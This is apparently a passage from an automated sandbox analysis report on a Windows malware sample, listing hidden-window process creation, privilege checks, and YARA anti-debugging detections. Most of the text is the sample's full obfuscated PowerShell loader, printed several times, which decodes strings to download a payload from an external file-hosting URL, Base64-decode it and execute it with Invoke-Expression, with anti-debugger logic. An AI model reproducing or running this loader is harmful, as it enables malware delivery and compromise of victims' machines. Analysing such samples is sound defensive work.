ComePulvrRepls Cra[ Dis$ oraUKo pnMicrt AfbrVse aDisrdTraneFej sSog m SeraS ran HeclEk tiEnerkBevieHvlb]Brev=Krig$Bo eCDemorPengeTicad .imiLavat.eanispinn Ji.gS pe ');$Overrighteously197=Forhandlingsleders 'Cis,$AethD ValoE hvuBe,nc Proh Foreb.gbt suf. OveDPaluoIsoywNonrn.slal Na oA,xoaPepid GruF anfiIrerlEndoeBejd(Civi$gen B BrelKnifoAfsvk eltdPhiliOveraUltigHemarMa.ta rugm Ex.mStereGro,tH ngsN na, pi$U uaBcolpuStrur Daun.anke OmptGraptSkr,iSnekz,nteeIndr)Lime ';$Burnettize=$Lumination;Ruths (Forhandlingsleders 'Tubu$SigngSlselClaro KirbRha,aFlodlTilt:.orwRGenne ,bfJDiame.malS,orfp Xa,RSludiElecNJ.rdg BlyE regtBond2Tals2Opre6,ull=Purs(UnbuTUranee brsT luTNaph- SynpUproAS.vkTBortHMili Turq$HjlpbOverUReprrSymbN sepEBygnts.mpt FumIJoltz sk,etro ) Neu ');while (!$Rejespringet226) {Ruths (Forhandlingsleders 'Comm$Mammg spalVenooLichb PreafestlAmts:YogiDC.ewr Ma i Irrl Un l Ni eAkvavSkvaoFinir Sibn taveStams ,mi=W.ak$StyrtAfskrExpiuReeleHelv ') ;Ruths $Overrighteously197;Ruths (Forhandlingsleders ' MonsLukktTusiAFi,kRBordtTeks-V nss G aL,oncE ssEafstPTegn Oth.4s,ra ');Ruths (Forhandlingsleders 'Mu,t$ fvagEmalL etwOTr mb,letA oloL O.f:H,lhrParkE LynJUndse H,osTrifpAnsvR DemIBrilNLavpG StbeBetotPegm2 Fub2Bras6 ned=Kund(Un etCanaeDivus spoT le-AutopSknmANatiT ProhS pr ar$ s ubPronuAdi.rskoknWr,iEApo,tEv rtBecriK ntzForue Omb) ul ') ;Ruths (Forhandlingsleders ' Ple$ WitGStigl,rizOKon b Reta dkLMatr:Mic.MMonouTranD HepDS.ileI teR inKLumbADetasindeTTildNLimoI BekN Di gM nd= Str$NrdeGBreaLOverOOkkub I oA RetL Apo: SegdBiogiUdbuAMythNWilsN BorAUnre+Tovt+B.am%ukrl$MedtS Gavt Ma UnighdSugeIby tETik LAcc eSpi.KPul,tGuarO FinRAc.iEVie.rAktisdyne.gainCte,po,nydU NikNSupptMist ') ;$Blokdiagrammets=$Studielektorers[$mudderkastning];}$Madannoncens=300531;$Outblotted=32092;Ruths (Forhandlingsleders ' Arb$Platg rgaLTri oUds bForeAKonkL Un :SignD VanR Kara,awsMDeliaSh nTUngdiR stc TilaKrysL E.tLKinkYU.je Bnne=Filr Bakkg theESubrTorga-RundCTwino Trin BulT HovEOpprNAnhat eno Krav$L ucb lovUFilhrValuNReacELacitrefrTC oliPew.ZAfstE Ri ');Ruths (Forhandlingsleders 'Eff $Te egEleklSandoBombb F,naStatlNopl: SkyD ProiInt,cA tehChierGaaroHyremTegna Bles assyCoun ,ini=Dec. Kat.[ViolSDeroyOctosAarhtOv remik.m Per.RascCPseuoOvern,okavLitee BrurL ndt Ov ]Taag:Savo:PhosFHeavr T doBrotmForhBAngeakitcsmap erel,6 Una4BlooSBenztVuggrafpaiA.sknInteg Dor(turb$Vi iDBr vrOndsaGenum MakaNonrtSyn.iDonoc ouaLowelU.rilSeruyBydr)E.ma ');Ruths (Forhandlingsleders 'Kolo$Roy.GTidsL Ko.OBlgeB CurAPomplSang:L thF Wi,oDo rd J cB emoaProsLSvigLSki EToxiRTentNDrnieChecsK,nf2gest2,ing1Prea liv=Nonm Ina[CabbSb,svyOpklSTy iTP zoeKo jmFang. ExpT Sr ESukkxTnksT upe.ta keSkimnIdercAffio S jdLeucI DisNOpprG.ice]Sabb: is:Rolia Pu sPsalCOpeniJus I Cat.AreoGAdjoeels.t ,acSHeltTAgg,RsammIBoldnNoc gFunk(Gent$SprndBrstIsvamCAlkahPhotR GhaoSkrim.ermAEl.eS elmyUnd,),nse ');Ruths (Forhandlingsleders 'Fn k$KodaGadellSomaOH vtb C saTranlTvrf:k akKCanoaElecn ,iffDediL SegEEft.nOverDjewdeInd.SIn e= Rej$Gresf resoUnprd loB LinAD ciL C nlBillEWeatrTo uN ksiEBalks Oms2glot2Kuru1 T,a. Kars nfuFor bBackSTapiTCoquRBo aiEjenNT.anga te(Nege$OpbymReopAPiggdAconAFor.nGratNPraxo brNHeatCLaveE VarnCowesTone,omk.$ TamOFainu Fy.tSig b imoL OpvOShogtSilitKrseeSlagD Pix)Phyl ');Ruths $Kanflendes;"

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Nov. 11, 2024, 10:02 a.m.	show_type: 0 filepath_r: POWERSHELL parameters: " <#Kradsbrstige Fatherlands Andelsmejeriet #>;$calciprivic='Regionalsprogenes';<#revancherendes Fredningerne totalbelbenes Sporidiiferous bedsteborgerlig Graphicsmenu Spektrografernes #>; function Forhandlingsleders($Taboulis){If ($host.DebuggerEnabled) {$bowyang++;}$Resalgar=$dilemmaers+$Taboulis.'Length' - $bowyang; for ( $Sildefiskere=4;$Sildefiskere -lt $Resalgar;$Sildefiskere+=5){$Garishly=$Sildefiskere;$Baternes+=$Taboulis[$Sildefiskere];}$Baternes;}function Ruths($Pyridinium){ & ($Internationalisms) ($Pyridinium);}$Crediting=Forhandlingsleders 'PterMPhiloAparz D giUmbrlO.cal dd.aComm/Real ';$Stteriets=Forhandlingsleders ' ynTJackl Elss.kom1Pres2Reng ';$Hamrene=' Eks[Ap lnBroiEFinut Te . SkusNonpeSte rBundvrus,iOdinCtoppEun apStuboImpaIBeren Ic,TDokuMA riADoksNNyc,A J vG etaE S crTegn]teks:Fant:InakS.ongEPericPostUb hjr Tv,IDobbTNaboYFilmpAt aRGavoOFum.ts,niOGalgc Temo aslAkad=I,st$Kraks B lTStr.tBulgeEs.iRGumliselvEVognt Me sFals ';$Crediting+=Forhandlingsleders 'Down5Nona.Bu s0 kol Hyst(,ilhWC,anicatanBland uttoKuijw bylsApat TeasNliniTD,co Vina1F rh0 ndh.Indl0udko; Key ResuWudgriSubcnAbra6F.yd4 Sti;,ufo NonlxRefl6 arb4Pr.a;frat E sarVedivBrus:Baks1Conf3prod1 e t. amm0Tatj)Vi g SrbeG toreMunkc,alakPe lo Exp/Flaa2Devo0Auto1Stat0bis.0 Pos1unco0Lnre1.ala Nor,FDiesi gr,rBsseeMo.pfAfm.oTouaxPott/Trib1Crea3 Dro1Te t. Un.0 iv ';$Untradesmanlike=Forhandlingsleders 'StupU.riasUskyEHyparInd -undeaT angToldePiliNBesuTIndu ';$Blokdiagrammets=Forhandlingsleders 'EstrhEffetRecot Pr p sojsScow:Rese/Kor,/TunefDekliTeaklFable AdedD gmnCult..orseSquauBort/Kliml U d9KviltB ygEBirdwDr.bbToph9 aapsGraf6O.eraN niaFlinR UdswModr5garnfPeliyAngoUMiliiGav aFa.fC.iss0IndslW nnfSk.v/ GigV starLeonaSar,n VingKar.eSpilnSemis afv.SeptmCoifsK rriMisc ';$Stramtandede=Forhandlingsleders ' Spe>Moh, ';$Internationalisms=Forhandlingsleders 'Jou i Dl EPhytXMagt ';$Antiparabemata='Londonese';$Skrubsakkernes='\Lag.Nyt';Ruths (Forhandlingsleders ' Com$ EmpG retlPa ko rosB FruATvinL Unr:ForllAloyU ranMV ltIT,reNRitoARulntNonsiPumpOMortnTa e=Hexa$ oueFar n.mrevdefi:PaikASoluP Al PCo,adF.anA Ment ,raA sys+Sa,s$KommSPromKAlicRIk nUTas B PresPhysaA,ankCompkrotteInsirMakrNDru.eExceS Stu ');Ruths (Forhandlingsleders 'Elsk$AfhoGM,lolEpulOSterb Fr,AProol Fr : TypsEquitNyheu sa d RedIwol EAlabLBe,leMet KAntitKin oQuatR TrieConsRL vsSS ig=udpi$ GraBRippLFerlOunfrKB nedchloiSupeAskraG ilgrskamAExc ME,teMSge ebrnet SlasKo.d.aftrS MonpEliql,anaISpheTOv r(Kltr$UninSAvigtAlunr.ineaUnarmSelvtBremASparnArmpDTavsEKohodglipEEksk)Boli ');Ruths (Forhandlingsleders $Hamrene);$Blokdiagrammets=$Studielektorers[0];$Karvgsforhold=(Forhandlingsleders 'Natu$SiligYisjlCa doIrrebsingAShi lFear:DyreD etaoIngeuaandcTl.nhBl de tyTIn,e=SnakndupeEFibrW Mic-ForooAn lBUdetJ Be EPaddcFasttRean OverSReklY.oenS Sk T J.neSuk mgo,u..tocNDog,Ehom.TSpro.SkriWStereLittbStercAfpuL p eisinte,henN NarT De ');Ruths ($Karvgsforhold);Ruths (Forhandlingsleders 'Bygg$S roD SproTradu asscSpalhSkilefredt D,s.Be eHFlleeHidhaSpild ComePulvrRepls Cra[ Dis$ oraUKo pnMicrt AfbrVse aDisrdTraneFej sSog m SeraS ran HeclEk tiEnerkBevieHvlb]Brev=Krig$Bo eCDemorPengeTicad .imiLavat.eanispinn Ji.gS pe ');$Overrighteously197=Forhandlingsleders 'Cis,$AethD ValoE hvuBe,nc Proh Foreb.gbt suf. OveDPaluoIsoywNonrn.slal Na oA,xoaPepid GruF anfiIrerlEndoeBejd(Civi$gen B BrelKnifoAfsvk eltdPhiliOveraUltigHemarMa.ta rugm Ex.mStereGro,tH ngsN na, pi$U uaBcolpuStrur Daun.anke OmptGraptSkr,iSnekz,nteeIndr)Lime ';$Burnettize=$Lumination;Ruths (Forhandlingsleders 'Tubu$SigngSlselClaro KirbRha,aFlodlTilt:.orwRGenne ,bfJDiame.malS,orfp Xa,RSludiElecNJ.rdg BlyE regtBond2Tals2Opre6,ull=Purs(UnbuTUranee brsT luTNaph- SynpUproAS.vkTBortHMili Turq$HjlpbOverUReprrSymbN sepEBygnts.mpt FumIJoltz sk,etro ) Neu ');while (!$Rejespringet226) {Ruths (Forhandlingsleders 'Comm$Mammg spalVenooLichb PreafestlAmts:YogiDC.ewr Ma i Irrl Un l Ni eAkvavSkvaoFinir Sibn taveStams ,mi=W.ak$StyrtAfskrExpiuReeleHelv ') ;Ruths $Overrighteously197;Ruths (Forhandlingsleders ' MonsLukktTusiAFi,kRBordtTeks-V nss G aL,oncE ssEafstPTegn Oth.4s,ra ');Ruths (Forhandlingsleders 'Mu,t$ fvagEmalL etwOTr mb,letA oloL O.f:H,lhrParkE LynJUndse H,osTrifpAnsvR DemIBrilNLavpG StbeBetotPegm2 Fub2Bras6 ned=Kund(Un etCanaeDivus spoT le-AutopSknmANatiT ProhS pr ar$ s ubPronuAdi.rskoknWr,iEApo,tEv rtBecriK ntzForue Omb) ul ') ;Ruths (Forhandlingsleders ' Ple$ WitGStigl,rizOKon b Reta dkLMatr:Mic.MMonouTranD HepDS.ileI teR inKLumbADetasindeTTildNLimoI BekN Di gM nd= Str$NrdeGBreaLOverOOkkub I oA RetL Apo: SegdBiogiUdbuAMythNWilsN BorAUnre+Tovt+B.am%ukrl$MedtS Gavt Ma UnighdSugeIby tETik LAcc eSpi.KPul,tGuarO FinRAc.iEVie.rAktisdyne.gainCte,po,nydU NikNSupptMist ') ;$Blokdiagrammets=$Studielektorers[$mudderkastning];}$Madannoncens=300531;$Outblotted=32092;Ruths (Forhandlingsleders ' Arb$Platg rgaLTri oUds bForeAKonkL Un :SignD VanR Kara,awsMDeliaSh nTUngdiR stc TilaKrysL E.tLKinkYU.je Bnne=Filr Bakkg theESubrTorga-RundCTwino Trin BulT HovEOpprNAnhat eno Krav$L ucb lovUFilhrValuNReacELacitrefrTC oliPew.ZAfstE Ri ');Ruths (Forhandlingsleders 'Eff $Te egEleklSandoBombb F,naStatlNopl: SkyD ProiInt,cA tehChierGaaroHyremTegna Bles assyCoun ,ini=Dec. Kat.[ViolSDeroyOctosAarhtOv remik.m Per.RascCPseuoOvern,okavLitee BrurL ndt Ov ]Taag:Savo:PhosFHeavr T doBrotmForhBAngeakitcsmap erel,6 Una4BlooSBenztVuggrafpaiA.sknInteg Dor(turb$Vi iDBr vrOndsaGenum MakaNonrtSyn.iDonoc ouaLowelU.rilSeruyBydr)E.ma ');Ruths (Forhandlingsleders 'Kolo$Roy.GTidsL Ko.OBlgeB CurAPomplSang:L thF Wi,oDo rd J cB emoaProsLSvigLSki EToxiRTentNDrnieChecsK,nf2gest2,ing1Prea liv=Nonm Ina[CabbSb,svyOpklSTy iTP zoeKo jmFang. ExpT Sr ESukkxTnksT upe.ta keSkimnIdercAffio S jdLeucI DisNOpprG.ice]Sabb: is:Rolia Pu sPsalCOpeniJus I Cat.AreoGAdjoeels.t ,acSHeltTAgg,RsammIBoldnNoc gFunk(Gent$SprndBrstIsvamCAlkahPhotR GhaoSkrim.ermAEl.eS elmyUnd,),nse ');Ruths (Forhandlingsleders 'Fn k$KodaGadellSomaOH vtb C saTranlTvrf:k akKCanoaElecn ,iffDediL SegEEft.nOverDjewdeInd.SIn e= Rej$Gresf resoUnprd loB LinAD ciL C nlBillEWeatrTo uN ksiEBalks Oms2glot2Kuru1 T,a. Kars nfuFor bBackSTapiTCoquRBo aiEjenNT.anga te(Nege$OpbymReopAPiggdAconAFor.nGratNPraxo brNHeatCLaveE VarnCowesTone,omk.$ TamOFainu Fy.tSig b imoL OpvOShogtSilitKrseeSlagD Pix)Phyl ');Ruths $Kanflendes;" filepath: POWERSHELL	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Nov. 11, 2024, 10:02 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (16 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	POWERSHELL " <#Kradsbrstige Fatherlands Andelsmejeriet #>;$calciprivic='Regionalsprogenes';<#revancherendes Fredningerne totalbelbenes Sporidiiferous bedsteborgerlig Graphicsmenu Spektrografernes #>; function Forhandlingsleders($Taboulis){If ($host.DebuggerEnabled) {$bowyang++;}$Resalgar=$dilemmaers+$Taboulis.'Length' - $bowyang; for ( $Sildefiskere=4;$Sildefiskere -lt $Resalgar;$Sildefiskere+=5){$Garishly=$Sildefiskere;$Baternes+=$Taboulis[$Sildefiskere];}$Baternes;}function Ruths($Pyridinium){ & ($Internationalisms) ($Pyridinium);}$Crediting=Forhandlingsleders 'PterMPhiloAparz D giUmbrlO.cal dd.aComm/Real ';$Stteriets=Forhandlingsleders ' ynTJackl Elss.kom1Pres2Reng ';$Hamrene=' Eks[Ap lnBroiEFinut Te . SkusNonpeSte rBundvrus,iOdinCtoppEun apStuboImpaIBeren Ic,TDokuMA riADoksNNyc,A J vG etaE S crTegn]teks:Fant:InakS.ongEPericPostUb hjr Tv,IDobbTNaboYFilmpAt aRGavoOFum.ts,niOGalgc Temo aslAkad=I,st$Kraks B lTStr.tBulgeEs.iRGumliselvEVognt Me sFals ';$Crediting+=Forhandlingsleders 'Down5Nona.Bu s0 kol Hyst(,ilhWC,anicatanBland uttoKuijw bylsApat TeasNliniTD,co Vina1F rh0 ndh.Indl0udko; Key ResuWudgriSubcnAbra6F.yd4 Sti;,ufo NonlxRefl6 arb4Pr.a;frat E sarVedivBrus:Baks1Conf3prod1 e t. amm0Tatj)Vi g SrbeG toreMunkc,alakPe lo Exp/Flaa2Devo0Auto1Stat0bis.0 Pos1unco0Lnre1.ala Nor,FDiesi gr,rBsseeMo.pfAfm.oTouaxPott/Trib1Crea3 Dro1Te t. Un.0 iv ';$Untradesmanlike=Forhandlingsleders 'StupU.riasUskyEHyparInd -undeaT angToldePiliNBesuTIndu ';$Blokdiagrammets=Forhandlingsleders 'EstrhEffetRecot Pr p sojsScow:Rese/Kor,/TunefDekliTeaklFable AdedD gmnCult..orseSquauBort/Kliml U d9KviltB ygEBirdwDr.bbToph9 aapsGraf6O.eraN niaFlinR UdswModr5garnfPeliyAngoUMiliiGav aFa.fC.iss0IndslW nnfSk.v/ GigV starLeonaSar,n VingKar.eSpilnSemis afv.SeptmCoifsK rriMisc ';$Stramtandede=Forhandlingsleders ' Spe>Moh, ';$Internationalisms=Forhandlingsleders 'Jou i Dl EPhytXMagt ';$Antiparabemata='Londonese';$Skrubsakkernes='\Lag.Nyt';Ruths (Forhandlingsleders ' Com$ EmpG retlPa ko rosB FruATvinL Unr:ForllAloyU ranMV ltIT,reNRitoARulntNonsiPumpOMortnTa e=Hexa$ oueFar n.mrevdefi:PaikASoluP Al PCo,adF.anA Ment ,raA sys+Sa,s$KommSPromKAlicRIk nUTas B PresPhysaA,ankCompkrotteInsirMakrNDru.eExceS Stu ');Ruths (Forhandlingsleders 'Elsk$AfhoGM,lolEpulOSterb Fr,AProol Fr : TypsEquitNyheu sa d RedIwol EAlabLBe,leMet KAntitKin oQuatR TrieConsRL vsSS ig=udpi$ GraBRippLFerlOunfrKB nedchloiSupeAskraG ilgrskamAExc ME,teMSge ebrnet SlasKo.d.aftrS MonpEliql,anaISpheTOv r(Kltr$UninSAvigtAlunr.ineaUnarmSelvtBremASparnArmpDTavsEKohodglipEEksk)Boli ');Ruths (Forhandlingsleders $Hamrene);$Blokdiagrammets=$Studielektorers[0];$Karvgsforhold=(Forhandlingsleders 'Natu$SiligYisjlCa doIrrebsingAShi lFear:DyreD etaoIngeuaandcTl.nhBl de tyTIn,e=SnakndupeEFibrW Mic-ForooAn lBUdetJ Be EPaddcFasttRean OverSReklY.oenS Sk T J.neSuk mgo,u..tocNDog,Ehom.TSpro.SkriWStereLittbStercAfpuL p eisinte,henN NarT De ');Ruths ($Karvgsforhold);Ruths (Forhandlingsleders 'Bygg$S roD SproTradu asscSpalhSkilefredt D,s.Be eHFlleeHidhaSpild ComePulvrRepls Cra[ Dis$ oraUKo pnMicrt AfbrVse aDisrdTraneFej sSog m SeraS ran HeclEk tiEnerkBevieHvlb]Brev=Krig$Bo eCDemorPengeTicad .imiLavat.eanispinn Ji.gS pe ');$Overrighteously197=Forhandlingsleders 'Cis,$AethD ValoE hvuBe,nc Proh Foreb.gbt suf. OveDPaluoIsoywNonrn.slal Na oA,xoaPepid GruF anfiIrerlEndoeBejd(Civi$gen B BrelKnifoAfsvk eltdPhiliOveraUltigHemarMa.ta rugm Ex.mStereGro,tH ngsN na, pi$U uaBcolpuStrur Daun.anke OmptGraptSkr,iSnekz,nteeIndr)Lime ';$Burnettize=$Lumination;Ruths (Forhandlingsleders 'Tubu$SigngSlselClaro KirbRha,aFlodlTilt:.orwRGenne ,bfJDiame.malS,orfp Xa,RSludiElecNJ.rdg BlyE regtBond2Tals2Opre6,ull=Purs(UnbuTUranee brsT luTNaph- SynpUproAS.vkTBortHMili Turq$HjlpbOverUReprrSymbN sepEBygnts.mpt FumIJoltz sk,etro ) Neu ');while (!$Rejespringet226) {Ruths (Forhandlingsleders 'Comm$Mammg spalVenooLichb PreafestlAmts:YogiDC.ewr Ma i Irrl Un l Ni eAkvavSkvaoFinir Sibn taveStams ,mi=W.ak$StyrtAfskrExpiuReeleHelv ') ;Ruths $Overrighteously197;Ruths (Forhandlingsleders ' MonsLukktTusiAFi,kRBordtTeks-V nss G aL,oncE ssEafstPTegn Oth.4s,ra ');Ruths (Forhandlingsleders 'Mu,t$ fvagEmalL etwOTr mb,letA oloL O.f:H,lhrParkE LynJUndse H,osTrifpAnsvR DemIBrilNLavpG StbeBetotPegm2 Fub2Bras6 ned=Kund(Un etCanaeDivus spoT le-AutopSknmANatiT ProhS pr ar$ s ubPronuAdi.rskoknWr,iEApo,tEv rtBecriK ntzForue Omb) ul ') ;Ruths (Forhandlingsleders ' Ple$ WitGStigl,rizOKon b Reta dkLMatr:Mic.MMonouTranD HepDS.ileI teR inKLumbADetasindeTTildNLimoI BekN Di gM nd= Str$NrdeGBreaLOverOOkkub I oA RetL Apo: SegdBiogiUdbuAMythNWilsN BorAUnre+Tovt+B.am%ukrl$MedtS Gavt Ma UnighdSugeIby tETik LAcc eSpi.KPul,tGuarO FinRAc.iEVie.rAktisdyne.gainCte,po,nydU NikNSupptMist ') ;$Blokdiagrammets=$Studielektorers[$mudderkastning];}$Madannoncens=300531;$Outblotted=32092;Ruths (Forhandlingsleders ' Arb$Platg rgaLTri oUds bForeAKonkL Un :SignD VanR Kara,awsMDeliaSh nTUngdiR stc TilaKrysL E.tLKinkYU.je Bnne=Filr Bakkg theESubrTorga-RundCTwino Trin BulT HovEOpprNAnhat eno Krav$L ucb lovUFilhrValuNReacELacitrefrTC oliPew.ZAfstE Ri ');Ruths (Forhandlingsleders 'Eff $Te egEleklSandoBombb F,naStatlNopl: SkyD ProiInt,cA tehChierGaaroHyremTegna Bles assyCoun ,ini=Dec. Kat.[ViolSDeroyOctosAarhtOv remik.m Per.RascCPseuoOvern,okavLitee BrurL ndt Ov ]Taag:Savo:PhosFHeavr T doBrotmForhBAngeakitcsmap erel,6 Una4BlooSBenztVuggrafpaiA.sknInteg Dor(turb$Vi iDBr vrOndsaGenum MakaNonrtSyn.iDonoc ouaLowelU.rilSeruyBydr)E.ma ');Ruths (Forhandlingsleders 'Kolo$Roy.GTidsL Ko.OBlgeB CurAPomplSang:L thF Wi,oDo rd J cB emoaProsLSvigLSki EToxiRTentNDrnieChecsK,nf2gest2,ing1Prea liv=Nonm Ina[CabbSb,svyOpklSTy iTP zoeKo jmFang. ExpT Sr ESukkxTnksT upe.ta keSkimnIdercAffio S jdLeucI DisNOpprG.ice]Sabb: is:Rolia Pu sPsalCOpeniJus I Cat.AreoGAdjoeels.t ,acSHeltTAgg,RsammIBoldnNoc gFunk(Gent$SprndBrstIsvamCAlkahPhotR GhaoSkrim.ermAEl.eS elmyUnd,),nse ');Ruths (Forhandlingsleders 'Fn k$KodaGadellSomaOH vtb C saTranlTvrf:k akKCanoaElecn ,iffDediL SegEEft.nOverDjewdeInd.SIn e= Rej$Gresf resoUnprd loB LinAD ciL C nlBillEWeatrTo uN ksiEBalks Oms2glot2Kuru1 T,a. Kars nfuFor bBackSTapiTCoquRBo aiEjenNT.anga te(Nege$OpbymReopAPiggdAconAFor.nGratNPraxo brNHeatCLaveE VarnCowesTone,omk.$ TamOFainu Fy.tSig b imoL OpvOShogtSilitKrseeSlagD Pix)Phyl ');Ruths $Kanflendes;"
parent_process	wscript.exe				martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Kradsbrstige Fatherlands Andelsmejeriet #>;$calciprivic='Regionalsprogenes';<#revancherendes Fredningerne totalbelbenes Sporidiiferous bedsteborgerlig Graphicsmenu Spektrografernes #>; function Forhandlingsleders($Taboulis){If ($host.DebuggerEnabled) {$bowyang++;}$Resalgar=$dilemmaers+$Taboulis.'Length' - $bowyang; for ( $Sildefiskere=4;$Sildefiskere -lt $Resalgar;$Sildefiskere+=5){$Garishly=$Sildefiskere;$Baternes+=$Taboulis[$Sildefiskere];}$Baternes;}function Ruths($Pyridinium){ & ($Internationalisms) ($Pyridinium);}$Crediting=Forhandlingsleders 'PterMPhiloAparz D giUmbrlO.cal dd.aComm/Real ';$Stteriets=Forhandlingsleders ' ynTJackl Elss.kom1Pres2Reng ';$Hamrene=' Eks[Ap lnBroiEFinut Te . SkusNonpeSte rBundvrus,iOdinCtoppEun apStuboImpaIBeren Ic,TDokuMA riADoksNNyc,A J vG etaE S crTegn]teks:Fant:InakS.ongEPericPostUb hjr Tv,IDobbTNaboYFilmpAt aRGavoOFum.ts,niOGalgc Temo aslAkad=I,st$Kraks B lTStr.tBulgeEs.iRGumliselvEVognt Me sFals ';$Crediting+=Forhandlingsleders 'Down5Nona.Bu s0 kol Hyst(,ilhWC,anicatanBland uttoKuijw bylsApat TeasNliniTD,co Vina1F rh0 ndh.Indl0udko; Key ResuWudgriSubcnAbra6F.yd4 Sti;,ufo NonlxRefl6 arb4Pr.a;frat E sarVedivBrus:Baks1Conf3prod1 e t. amm0Tatj)Vi g SrbeG toreMunkc,alakPe lo Exp/Flaa2Devo0Auto1Stat0bis.0 Pos1unco0Lnre1.ala Nor,FDiesi gr,rBsseeMo.pfAfm.oTouaxPott/Trib1Crea3 Dro1Te t. Un.0 iv ';$Untradesmanlike=Forhandlingsleders 'StupU.riasUskyEHyparInd -undeaT angToldePiliNBesuTIndu ';$Blokdiagrammets=Forhandlingsleders 'EstrhEffetRecot Pr p sojsScow:Rese/Kor,/TunefDekliTeaklFable AdedD gmnCult..orseSquauBort/Kliml U d9KviltB ygEBirdwDr.bbToph9 aapsGraf6O.eraN niaFlinR UdswModr5garnfPeliyAngoUMiliiGav aFa.fC.iss0IndslW nnfSk.v/ GigV starLeonaSar,n VingKar.eSpilnSemis afv.SeptmCoifsK rriMisc ';$Stramtandede=Forhandlingsleders ' Spe>Moh, ';$Internationalisms=Forhandlingsleders 'Jou i Dl EPhytXMagt ';$Antiparabemata='Londonese';$Skrubsakkernes='\Lag.Nyt';Ruths (Forhandlingsleders ' Com$ EmpG retlPa ko rosB FruATvinL Unr:ForllAloyU ranMV ltIT,reNRitoARulntNonsiPumpOMortnTa e=Hexa$ oueFar n.mrevdefi:PaikASoluP Al PCo,adF.anA Ment ,raA sys+Sa,s$KommSPromKAlicRIk nUTas B PresPhysaA,ankCompkrotteInsirMakrNDru.eExceS Stu ');Ruths (Forhandlingsleders 'Elsk$AfhoGM,lolEpulOSterb Fr,AProol Fr : TypsEquitNyheu sa d RedIwol EAlabLBe,leMet KAntitKin oQuatR TrieConsRL vsSS ig=udpi$ GraBRippLFerlOunfrKB nedchloiSupeAskraG ilgrskamAExc ME,teMSge ebrnet SlasKo.d.aftrS MonpEliql,anaISpheTOv r(Kltr$UninSAvigtAlunr.ineaUnarmSelvtBremASparnArmpDTavsEKohodglipEEksk)Boli ');Ruths (Forhandlingsleders $Hamrene);$Blokdiagrammets=$Studielektorers[0];$Karvgsforhold=(Forhandlingsleders 'Natu$SiligYisjlCa doIrrebsingAShi lFear:DyreD etaoIngeuaandcTl.nhBl de tyTIn,e=SnakndupeEFibrW Mic-ForooAn lBUdetJ Be EPaddcFasttRean OverSReklY.oenS Sk T J.neSuk mgo,u..tocNDog,Ehom.TSpro.SkriWStereLittbStercAfpuL p eisinte,henN NarT De ');Ruths ($Karvgsforhold);Ruths (Forhandlingsleders 'Bygg$S roD SproTradu asscSpalhSkilefredt D,s.Be eHFlleeHidhaSpild ComePulvrRepls Cra[ Dis$ oraUKo pnMicrt AfbrVse aDisrdTraneFej sSog m SeraS ran HeclEk tiEnerkBevieHvlb]Brev=Krig$Bo eCDemorPengeTicad .imiLavat.eanispinn Ji.gS pe ');$Overrighteously197=Forhandlingsleders 'Cis,$AethD ValoE hvuBe,nc Proh Foreb.gbt suf. OveDPaluoIsoywNonrn.slal Na oA,xoaPepid GruF anfiIrerlEndoeBejd(Civi$gen B BrelKnifoAfsvk eltdPhiliOveraUltigHemarMa.ta rugm Ex.mStereGro,tH ngsN na, pi$U uaBcolpuStrur Daun.anke OmptGraptSkr,iSnekz,nteeIndr)Lime ';$Burnettize=$Lumination;Ruths (Forhandlingsleders 'Tubu$SigngSlselClaro KirbRha,aFlodlTilt:.orwRGenne ,bfJDiame.malS,orfp Xa,RSludiElecNJ.rdg BlyE regtBond2Tals2Opre6,ull=Purs(UnbuTUranee brsT luTNaph- SynpUproAS.vkTBortHMili Turq$HjlpbOverUReprrSymbN sepEBygnts.mpt FumIJoltz sk,etro ) Neu ');while (!$Rejespringet226) {Ruths (Forhandlingsleders 'Comm$Mammg spalVenooLichb PreafestlAmts:YogiDC.ewr Ma i Irrl Un l Ni eAkvavSkvaoFinir Sibn taveStams ,mi=W.ak$StyrtAfskrExpiuReeleHelv ') ;Ruths $Overrighteously197;Ruths (Forhandlingsleders ' MonsLukktTusiAFi,kRBordtTeks-V nss G aL,oncE ssEafstPTegn Oth.4s,ra ');Ruths (Forhandlingsleders 'Mu,t$ fvagEmalL etwOTr mb,letA oloL O.f:H,lhrParkE LynJUndse H,osTrifpAnsvR DemIBrilNLavpG StbeBetotPegm2 Fub2Bras6 ned=Kund(Un etCanaeDivus spoT le-AutopSknmANatiT ProhS pr ar$ s ubPronuAdi.rskoknWr,iEApo,tEv rtBecriK ntzForue Omb) ul ') ;Ruths (Forhandlingsleders ' Ple$ WitGStigl,rizOKon b Reta dkLMatr:Mic.MMonouTranD HepDS.ileI teR inKLumbADetasindeTTildNLimoI BekN Di gM nd= Str$NrdeGBreaLOverOOkkub I oA RetL Apo: SegdBiogiUdbuAMythNWilsN BorAUnre+Tovt+B.am%ukrl$MedtS Gavt Ma UnighdSugeIby tETik LAcc eSpi.KPul,tGuarO FinRAc.iEVie.rAktisdyne.gainCte,po,nydU NikNSupptMist ') ;$Blokdiagrammets=$Studielektorers[$mudderkastning];}$Madannoncens=300531;$Outblotted=32092;Ruths (Forhandlingsleders ' Arb$Platg rgaLTri oUds bForeAKonkL Un :SignD VanR Kara,awsMDeliaSh nTUngdiR stc TilaKrysL E.tLKinkYU.je Bnne=Filr Bakkg theESubrTorga-RundCTwino Trin BulT HovEOpprNAnhat eno Krav$L ucb lovUFilhrValuNReacELacitrefrTC oliPew.ZAfstE Ri ');Ruths (Forhandlingsleders 'Eff $Te 